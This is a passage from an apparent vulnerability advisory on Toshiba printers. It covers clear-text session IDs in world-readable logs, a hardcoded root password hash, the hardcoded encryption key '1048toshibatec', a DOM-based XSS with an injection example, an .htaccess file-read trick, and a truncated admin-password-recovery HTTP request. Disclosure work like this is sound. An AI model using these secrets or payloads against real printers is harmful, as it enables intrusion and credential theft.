./log/al/boserverEvent.log.26.txt:<Evt><t>05/30 15:50:21222835</t><Session "timerReset"><id>ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e</id><num>658</num><pID>2670</pID><pName>alappmanager</pName><newTimerValue>0</newTimerValue></Session></Evt>
./log/al/boserver.log.0.txt:05/30 15:50:05535294 Pid= 1657,Tid= 1784,cborepository.cpp: 5340:WRN:HANDLECMD_RES: Response of Command 'GetSettings' from Plugin to 'httpd' in SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:05552743 Pid= 1657,Tid= 1783,cborepository.cpp: 4816:WRN:DELIVERCMD: Delegating Command 'LicenseEnableCheck' from 'httpd' to Plugin 'LicenseMgmt-0x9f' with SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:05556758 Pid= 1657,Tid= 1785,cborepository.cpp: 5340:WRN:HANDLECMD_RES: Response of Command 'LicenseEnableCheck' from Plugin to 'httpd' in SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:14741108 Pid= 1657,Tid= 1784,cborepository.cpp: 4816:WRN:DELIVERCMD: Delegating Command 'LicenseEnableCheck' from 'httpd' to Plugin 'LicenseMgmt-0x9f' with SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/boserver.log.0.txt:05/30 15:50:14745065 Pid= 1657,Tid= 1783,cborepository.cpp: 5340:WRN:HANDLECMD_RES: Response of Command 'LicenseEnableCheck' from Plugin to 'httpd' in SessionID(ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e).
./log/al/aldeviceconfig.log.0.txt: * SessionID : ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
./log/al/aldeviceconfig.log.0.txt: * DeltaDocName : hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/DiagnosticModeTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
[...]
./log/al/aldeviceconfig.log.0.txt: * DeltaDocName : hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/DiagnosticModeTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
./log/al/sapp/python_settingapp.log:03/16 20:57:34966 Pid= 5653 Tid= 1820326768 tweens.py 176 WARNING Add session map. key = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7 value = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7
./log/al/sapp/python_settingapp.log:03/16 21:08:35016 Pid= 5653 Tid= 1675623280 tweens.py 347 WARNING Delete session map. key = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7 value = ContentWebServer_10.0.0.2.fc4db19cc6c8eba31abca23ece735dd7, length1
./log/al/authplugin.log.0.txt:05/30 15:16:07935854 Pid= 1872,UserAuthManger.cpp:11476:ERR:delta Doc Name::hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/AuthenticationTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e
[...]
./log/al/renderer.log.1.txt:05/30 20:21:13780508 Pid= 1992,Tid= 2939,LegacyPanel/src/cpanelmanager.cpp: 2983:WRN:Rcv ST : 72 : 1c000001 : <?xml version="1.0" encoding="UTF-8"?><Notification><Payload model="pull"><path>SecurityConfiguration/SecuritySettings/isLoginReqd</path><sessionID>ContentWebServer_10.0.0.2.ab52ced8304357f2b382460bbdd797dc</sessionID><subscriptionID>1275</subscriptionID></Payload></Notification>
[...]
/log/al/prm.log.0.txt:05/30 15:18:16563007 Pid= 1885,Tid= 2163,manager.cpp: 1874:ERR:Delta Document hdb:/ramdisk/al/tmp/ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e/PresentationResourcesTransactionDoc_ContentWebServer_10.0.0.2.f5fc067bb786772b6815cf972565414e could not be opened. Creating it
We can list the files containing such authentication sessions:
Using the shell:
bash-4.1# grep -r '10.0.0.2\.' * | sed -e 's#:# #' | awk '{ print $1 }' | sort | uniq
log/al/aldeviceconfig.log.0.txt
log/al/appmanager.log.0.txt
log/al/appmanagerlibrary.log.0.txt
log/al/authplugin.log.0.txt
log/al/boserver.log.0.txt
log/al/boserverEvent.log.26.txt
log/al/epfx/eprocessframework.log.0.txt
log/al/prm.log.0.txt
log/al/renderer.log.0.txt
log/al/renderer.log.1.txt
log/al/renderer.log.2.txt
log/al/sapp/python_settingapp.log
log/al/webpanel/eapi.log.0.txt
log/al/webpanel/python_ta.log
These files have insecure permissions allowing any user to retrieve the passwords, and some files can be freely modified by any local attacker (or any remote attacker using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability):
Insecure permissions for log files:
bash-4.1# for i in $(grep -r '10.0.0.2\.' * | sed -e 's#:# #' | awk '{ print $1 }' | sort | uniq); do ls -la $i;done -rw-r--r-- 1 apache trusted 177116 May 30 15:51 log/al/aldeviceconfig.log.0.txt -rw-r--r-- 1 apache trusted 57508 May 30 15:51 log/al/appmanager.log.0.txt -rwxrwxrwx 1 root trusted 285227 May 30 16:15 log/al/appmanagerlibrary.log.0.txt -rw-r--r-- 1 apache trusted 8839 May 30 15:51 log/al/authplugin.log.0.txt -rw-r--r-- 1 apache trusted 57082 May 30 15:51 log/al/boserver.log.0.txt -rwxr-xr-x 1 apache trusted 850786 May 30 15:51 log/al/boserverEvent.log.26.txt -rwxr-xr-x 1 apache trusted 18608 May 30 15:51 log/al/epfx/eprocessframework.log.0.txt -rw-r--r-- 1 apache trusted 18151 May 30 15:51 log/al/prm.log.0.txt -rwxrwxrwx 1 root trusted 1048682 May 30 19:28 log/al/renderer.log.0.txt -rwxrwxrwx 1 root trusted 1048606 May 30 21:50 log/al/renderer.log.1.txt -rw-r--r-- 1 apache trusted 527501 May 30 15:51 log/al/renderer.log.2.txt -rwxrwxrwx 1 apache trusted 1958 May 30 21:08 log/al/sapp/python_settingapp.log -rwxrwxrwx 1 root trusted 669880 May 30 16:15 log/al/webpanel/eapi.log.0.txt -rwxrwxrwx 1 apache trusted 311373 May 30 15:53 log/al/webpanel/python_ta.log
An attacker can retrieve authentication sessions.
A remote attacker can retrieve the credentials and bypass the authentication mechanism by uploading a .htaccess file containing a RewriteRule (RewriteRule /pwned.txt file:/path/to/local/file
), using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
It was observed that the sessions are stored in clear-text logs. These logs are world-readable and some can also be freely modified by any local attacker.
Some logs are stored inside the /ramdisk/al/network/log
directory with insecure permissions. We can find the authentication sessions inside:
bash-4.1# pwd /ramdisk/al/network/log bash-4.1# ls -la total 184 drwxr-xr-x 6 root root 0 May 30 10:38 . drwxr-xr-x 7 root root 0 May 30 10:39 .. -rw-rw-rw- 1 root trusted 1455 May 30 10:38 dibbler-client.log -rw-rw-rw- 1 root trusted 23051 May 30 16:48 hp9100.log.0.txt -rw-rw-rw- 1 root trusted 58886 May 30 17:29 http.log -rw-rw-rw- 1 root trusted 6143 May 30 17:29 http_access.log -rw-rw-rw- 1 root trusted 9194 May 30 14:08 https.log -rw-rw-rw- 1 root trusted 962 May 30 15:01 lprng.log.0.txt -rw-r----- 1 root adm 8767 May 30 16:38 maillog -rw-rw-rw- 1 root trusted 58619 May 30 17:23 nqlog.log drwxrwxrwx 2 root trusted 0 May 30 10:38 wsd drwxrwxrwx 2 root trusted 0 May 30 10:38 wsm drwxrwxrwx 2 root trusted 0 May 30 10:38 wsp drwxrwxrwx 2 root trusted 0 May 30 10:38 wsscn bash-4.1# grep SessionID * http.log:[Thu May 30 17:29:08.209477 2023] [contentwebserver:debug] [pid 5113] ccontentwebserver.cpp(1130): [client 10.0.0.2:43384] CContentWebServer:: SessionID=[ContentWebServer_10.0.0.2.874eef7e817c9d053cbdc618d850ab61] ignoreSessionTimeout=[IgnoreSessionTimeout], referer: http://10.0.0.1:8080/ http.log:[Thu May 30 17:29:08.739761 2023] [contentwebserver:debug] [pid 5118] ccontentwebserver.cpp(1130): [client 10.0.0.2:43386] CContentWebServer:: SessionID=[ContentWebServer_10.0.0.2.874eef7e817c9d053cbdc618d850ab61] ignoreSessionTimeout=[IgnoreSessionTimeout], referer: http://10.0.0.1:8080/FrameIndex.html?v=1670282309ta [...] bash-4.1# grep -i cookie * http.log:Utility::GetCookie sCookievalue=[] http.log:[Thu May 30 12:49:00.729591 2023] [contentwebserver:error] [pid 5121] [client 10.0.0.2:50619] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent http.log:[Thu May 30 12:49:00.729632 2023] [contentwebserver:error] [pid 5121] [client 10.0.0.2:50619] [utility.cpp : 594] In SetCookie::cookiebuf 10.0.0.2.289d834d7086d004ce9a710590e10be1 http.log: Utility::GetCookie cookieName=[Session] http.log:Utility::GetCookie sCookievalue=[] http.log:[Thu May 30 14:08:17.935840 2023] [contentwebserver:error] [pid 5113] [client 10.0.0.3:62840] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent http.log:[Thu May 30 14:08:17.935870 2023] [contentwebserver:error] [pid 5113] [client 10.0.0.3:62840] [utility.cpp : 594] In SetCookie::cookiebuf 10.0.0.3.117f8affdaee98da7f6c4d073bd2ab8d http.log: Utility::GetCookie cookieName=[Session] http.log:Utility::GetCookie sCookievalue=[] http.log:[Thu May 30 14:08:20.603084 2023] [contentwebserver:error] [pid 5118] [client 10.0.0.4.75:62843] [utility.cpp : 563] In SetCookie:: NO cookieInfo sent http.log:[Thu May 30 14:08:20.603114 2023] [contentwebserver:error] [pid 5118] [client 10.0.0.4:62843] [utility.cpp : 594] In SetCookie::cookiebuf 10.0.0.4.140ee80f33943e90ea27be3fc3c511fb http.log: Utility::GetCookie cookieName=[Session] http.log:Utility::GetCookie sCookievalue=[]
We can list the files containing such authentication sessions:
This file has insecure permissions allowing any user to retrieve the passwords and some files can be freely modified by any local attacker (or any remote attacker using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability):
Insecure log files:
bash-4.1# pwd /ramdisk/al/network/log bash-4.1# ls -la total 184 drwxr-xr-x 6 root root 0 May 30 10:38 . drwxr-xr-x 7 root root 0 May 30 10:39 .. -rw-rw-rw- 1 root trusted 1455 May 30 10:38 dibbler-client.log -rw-rw-rw- 1 root trusted 23051 May 30 16:48 hp9100.log.0.txt -rw-rw-rw- 1 root trusted 58886 May 30 17:29 http.log -rw-rw-rw- 1 root trusted 6143 May 30 17:29 http_access.log -rw-rw-rw- 1 root trusted 9194 May 30 14:08 https.log -rw-rw-rw- 1 root trusted 962 May 30 15:01 lprng.log.0.txt -rw-r----- 1 root adm 8767 May 30 16:38 maillog -rw-rw-rw- 1 root trusted 58619 May 30 17:23 nqlog.log drwxrwxrwx 2 root trusted 0 May 30 10:38 wsd drwxrwxrwx 2 root trusted 0 May 30 10:38 wsm drwxrwxrwx 2 root trusted 0 May 30 10:38 wsp drwxrwxrwx 2 root trusted 0 May 30 10:38 wsscn
An attacker can retrieve authentication sessions.
A remote attacker can retrieve the credentials and bypass the authentication mechanism by uploading a .htaccess file containing a RewriteRule (RewriteRule /pwned.txt file:/path/to/local/file
), using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
All the Toshiba printers share the same hardcoded root password. This hardcoded password is written by default in the firmware image and cannot be modified. Furthermore, the hash was also found in firmware images from 2017, meaning this password was never updated:
Content of /etc/shadow
:
bash-4.1# cat /etc/shadow
root:$6$rsDekYom2xF0b$T./E5cKsgXixcqB6ULMv1f1/AztBn86Lt7Uv1MTS7LynR325iUIb9ql2A0UCHUzPLavlPnfsi/gOoJTosjo230:11323:0:99999:7:::
bin:!!:12571:0:99999:7:::
daemon:!!:12571:0:99999:7:::
adm:!!:12571:0:99999:7:::
lp:!!:12571:0:99999:7:::
sync:!!:12571:0:99999:7:::
shutdown:!!:12571:0:99999:7:::
halt:!!:12571:0:99999:7:::
mail:!!:12571:0:99999:7:::
uucp:!!:12571:0:99999:7:::
operator:!!:12571:0:99999:7:::
games:!!:12571:0:99999:7:::
gopher:!!:12571:0:99999:7:::
ftp:!!:12571:0:99999:7:::
hacluster:!!:12571:0:99999:7:::
rpcuser:!!:12571:0:99999:7:::
ntp:!!:12571:0:99999:7:::
smmsp:!:19431:0:99999:7:::
vcsa:!!:12571:0:99999:7:::
sshd:!!:12571:0:99999:7:::
nobody:!!:12571:0:99999:7:::
nfsnobody:!!:12571:0:99999:7:::
uuidd:x:19431:0:99999:7:::
messagebus:!:19431::::::
apache:!:19431:0:99999:7:::
sh-4.1#
An attacker can remotely compromise any Toshiba printer if the telnetd or the openssh servers are running.
It was observed that all the Toshiba printers contain a shell script using the same hardcoded key to encrypt logs.
The script /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh
has insecure permissions and contains the hardcoded key 1048toshibatec
:
Insecure permissions of /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh
:
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh -rwxrwxrwx 1 root root 95309 Nov 8 2021 /home/SYSROM_SRC/build/common/bin/encrypt_backup_log.sh bash-4.1#
Content of the file:
[...] 1908 echo "Start Collected Log Encryption" 1909 openssl enc -e -aes256 -in $MOUNTPOINT/$SERIAL.$date.tar.gz -out $MOUNTPOINT/$SERIAL.$date -k 1048toshibatec 1910 if [ $? -eq 1 ]; then 1911 exit 1 1912 fi [...]
An attacker can decrypt the encrypted files using the hardcoded key.
It was observed that all the Toshiba printers contain a shell script using the same hardcoded key to encrypt logs.
The script /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh
has insecure permissions and contains the hardcoded key 1048toshibatec
:
Insecure Permissions of /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh
:
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh -rwxrwxrwx 1 root root 115474 Nov 8 2021 /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh bash-4.1#
In this file, we can find several hardcoded keys and the insecure use of MD5 as a digest cipher (-md md5
) to derivate the secret key:
Content of /home/SYSROM_SRC/build/common/bin/CreateDebugLog.sh
:
1986 archiveLogECC() [...] 2002 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG -k 1048toshibatec; then [...] 2020 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA -k 1048toshibatec ; then [...] 2029 archiveLogEmail() [...] 2056 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'DBGLOG -k 1048toshibatec ;then [...] 2081 if ! openssl enc -e -aes256 -in $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA.tar.gz -out $DIRPREFIX/$SERIAL_NUMBER'_'USR'_'SPLDATA -k 1048toshibatec;then [...] 2426 if ! openssl enc -e -aes256 -in $ENCRYPTED_FILE".tar.gz" -out $ENCRYPTED_FILE -k 1048toshibatec -md md5; then [...]
An attacker can decrypt the encrypted files using the hardcoded key.
The MD5 algorithm is insecure.
It was observed that all the Toshiba printers have programs containing a hardcoded key used to encrypt files:
/home/SYSROM_SRC/build/release/bin/alreportmanager
/home/SYSROM_SRC/build/release/bin/alusermgr
These 2 programs use the hardcoded key 1048toshibatec
to generate files.
In the alreportmanager program, this key is used inside the al::reporting::ReportGenerator::EncryptFile(std::string *a1, const char **a2, const char **a3)
method to encrypt files.
In the alusermgr program, this key is used in several methods to encrypt files. We can identify the references to his strings:
An attacker can decrypt the encrypted files using the hardcoded key.
All the Toshiba printers provide a web interface that will load the /js/TopAccessUtil.js
JavaScript file. This /js/TopAccessUtil.js
JavaScript file contains insecure codes vulnerable to XSS and is loaded inside all the webpages provided by the printer:
Content of http://ip:8080/?MAIN=TOPACCESS:
<!DOCTYPE html> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <META http-equiv=Content-Type content="text/html; charset=windows-1252"> <META HTTP-EQUIV="cache-Control: private" CONTENT="NO-CACHE"> <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> <META HTTP-EQUIV="Expires" CONTENT="1"> <link rel="stylesheet" type="text/css" href="styles/style.css?v=1670278837ta"> <!--<title class="clsTitle1">TopAccess</title>--> <script language="javascript" type="text/javascript" src="/js/Cookies.js?v=1670278837ta"></script> <script language="javascript" type="text/javascript" src="/localization/Locale_languages_installed.js?v=1670278837ta"></script> <script language="javascript" type="text/javascript" src="/js/localization.js?v=1670278837ta"></script> <SCRIPT language="javascript" type="text/javascript" src="/js/AjaxReqRespHandler.js?v=1670278837ta"></SCRIPT> <script language="javascript" type="text/javascript"> var gblTopWindow; var backspacePressed; var subMenuLoaded =false; if(location.href.indexOf("?MAIN=EFILING") == -1){ window.opener = null; gblTopWindow=true; } </script> <SCRIPT language="javascript" type="text/javascript" src="/js/TopAccessUtil.js?v=1670278837ta"></SCRIPT> <script language="javascript" type="text/javascript">
The /js/TopAccessUtil.js
file contains the vulnerable getQueryStringValue()
function that will take arguments from the URL and will return them without any sanitization:
565 function getQueryStringValue(varname,locationType) { 566 try { 567 /* locationType is a param which has enumeration ("parent" & "self" & "top") */ 568 var strloc = ""; 569 if (locationType == null || locationType == "parent"){ 570 strloc = parent.location.href; 571 }else if (locationType == "top"){ 572 strloc = top.location.href; 573 }else if (locationType == "self"){ 574 strloc = location.href; 575 }else if (locationType == "parent.parent") { 576 strloc = parent.parent.location.href; 577 } 578 if(strloc.indexOf("?")== -1 && strloc.indexOf("#")== -1) { 579 //alert("Error: strVar is null in getQueryStringValue()") 580 } else { 581 var strVar = ""; 582 if(strloc.indexOf("?") != -1) 583 strVar = strloc.split("?"); 584 else 585 strVar = strloc.split("#"); 586 var arrExpressions = strVar[1].split("&"); 587 if(arrExpressions == null){ 588 // alert("Error: arrExpressions is null in getQueryStringValue()") 589 } 590 var arrVars = null; 591 for (i=0;i<arrExpressions.length;i++) { 592 arrVars = arrExpressions[i].split("="); 593 if (arrVars[0] == varname) { 594 //alert("inside getQueryStringValue fun"+unescape(arrVars[1])); 595 return unescape(arrVars[1]); 596 } 597 } 598 } 599 600 return ""; 601 } catch(e){errHandler(e,'getQueryStringValue()','TopAccessUtil.js?v=1670278837ta',"");return "";} 602 }
For example, the webpage /Administration/SystemUpdates/MoreUpdateDetails.html
uses the getQueryStringValue()
function to display variables. Such variables can be controlled by an attacker to inject malicious JavaScript codes and steal the admin's session cookie:
Content of /Administration/SystemUpdates/MoreUpdateDetails.html
with vulnerable codes on lines 46, 51 and 58:
31 <FORM NAME = "frmMoreUpdateDetails"> 32 <TABLE BORDER="0" cellspacing="6" cellpadding="0" width="100%"> 33 <TR > 34 <TD VALIGN="TOP" NOWRAP colspan="2" style="FONT-WEIGHT: normal; FONT-SIZE: 16pt; COLOR: #6699FE; FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif; TEXT-DECORATION: none"> 35 <script type="text/javascript">document.write(fnGetLocaleString("DUMMYRESID","Update Details"));</script> 36 </TD> 37 </TR> 38 <TR > 39 <TD VALIGN="TOP" NOWRAP colspan="2"> 40 41 </TD> 42 </TR> 43 <TR> 44 <TD VALIGN="TOP" WIDTH = "30%" ALIGN="LEFT" style="FONT-SIZE:10pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;"> 45 <B><script> 46 document.write(getQueryStringValue("packageName","self")); 47 </script></B> 48 </TD> 49 <TD VALIGN="TOP" ALIGN="LEFT" style="FONT-SIZE:9pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;"> 50 <B><script> 51 document.write(getQueryStringValue("packageDate","self")); 52 </script></B> 53 </TD> 54 </TR> 55 <TR > 56 <TD VALIGN="TOP" style="FONT-SIZE:10pt;FONT-STYLE: normal; FONT-FAMILY: Arial, sans-serif;" colspan="2"> 57 <script> 58 document.write('<textarea rows="13" cols="47">'+window.opener.getValue(getQueryStringValue("packageId"))+'</textarea>'); 59 </script> 60 </TD> 61 </TR>
It is possible to inject HTML code and JavaScript code, as shown below with the XMP
HTML tag that will be interpreted and disable any following code, using ?packageName=<XMP>
in the query string.
It is possible to find such DOM-based XSS in the code base. There are at least 27 XSS in the HTML files provided by the printer:
kali% rgrep getQueryStringValue .|grep write
./Administration/SystemUpdates/MoreUpdateDetails.html: document.write(getQueryStringValue("packageName","self"));
./Administration/SystemUpdates/MoreUpdateDetails.html: document.write(getQueryStringValue("packageDate","self"));
./Administration/SystemUpdates/MoreUpdateDetails.html: document.write('<textarea rows="13" cols="47">'+window.opener.getValue(getQueryStringValue("packageId"))+'</textarea>');
./Registration/Template/ScanToEFiling.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=8&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToUSB.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=15&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToEmailAndUSB.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=16&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/MetaScanToUSB.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=21&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/FaxMode.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=4&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/MetaScanToFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=19&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/CopySaveAsFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=2&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToEMail.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=7&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanSettingList.html: <option value="High"><script type="text/javascript">if(getQueryStringValue("DefaultVals","self")=="true"){document.write(fnGetLocaleString("100880","High"));} else {document.write(fnGetLocaleString("101095","Low"));}</script>
./Registration/Template/ScanSettingList.html: <option value="Low"><script type="text/javascript">if(getQueryStringValue("DefaultVals","self")=="true"){document.write(fnGetLocaleString("101095","Low"));} else {document.write(fnGetLocaleString("100880","High"));}</script>
./Registration/Template/ScanSettingList.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=\"+tempImgID+\"&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/CopyStoreToEFilling.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=3&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/SmbFtpOther.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=22&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/MetaScanToEmail.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=20&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToEmailAndSaveAsFile.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=10&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanSetting.html: <option value="High"><script type="text/javascript">if(opener.getQueryStringValue("DefaultVals","self")=="true") {document.write(fnGetLocaleString("100880","High"));} else {document.write(fnGetLocaleString("101095","Low"));}</script>
./Registration/Template/ScanSetting.html: <option value="Low"><script type="text/javascript">if(opener.getQueryStringValue("DefaultVals","self")=="true") {document.write(fnGetLocaleString("101095","Low"));} else {document.write(fnGetLocaleString("100880","High"));}</script>
./Registration/Template/FaxSaveAsFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=5&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToFile.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=6&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToFileAndUSB.html: <script type="text/javascript">document.write(" <INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=18&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/MetaScanToEmailAndFile.html: <script type="text/javascript">document.write("<INPUT type='button' value='"+fnGetLocaleString('101335','Panel Setting')+"' ID='btnPanelProperties' onclick=fnnOpenInNewWindow('PanelSet.html?v=1670282309ta&tempImgId=23&groupid='+getQueryStringValue('groupid'));>");</script>
./Registration/Template/ScanToFileAndBox.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=11&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToEfilingAndUSB.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=17&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
./Registration/Template/ScanToEmailAndEFiling.html: <script type="text/javascript">document.write("<INPUT ID=\"btnPanelProperties\" TYPE=\"button\" VALUE=\""+fnGetLocaleString("101335","Panel Setting")+"\" ONCLICK='fnnOpenInNewWindow(\"PanelSet.html?v=1670282309ta&tempImgId=12&groupid=\"+getQueryStringValue(\"groupid\"))'>");</script>
Since the getQueryStringValue()
function is used 880 times in these files, there are more XSS vulnerabilities that can be found while analyzing the code.
kali% pwd
/home/user/extract/home/SYSROM_SRC/build/release/TopAccess
kali% rgrep getQueryStringValue . | wc -l
880
kali%
An attacker can steal the cookie of an admin user.
All the Toshiba printers will display the password of the admin user in clear-text and additional passwords when sending 2 specific HTTP requests to the API /contentwebserver. An attacker stealing the cookie of an admin or abusing a XSS vulnerability can recover this password in clear-text and compromise the printer.
This HTTP request can be shown below:
HTTP request used to recover the password of the admin user:
2 requests are mandatory:
/contentwebserver
containing this payload:/contentwebserver
containing this payload:UserManager/Users UserManager FEW Authentication/AuthenticationSettings
The server will respond with the password displayed in clear-text.
It is also possible to visit http://printer-ip/usermanagement/userconfirm/UserList.html?v=1670282309ta&PAGENO=1 as admin and review the HTTP traffic. These 2 requests will be automatically sent by the browser when visiting this webpage:
The PoC is (session must be updated):
First HTTP request:
POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
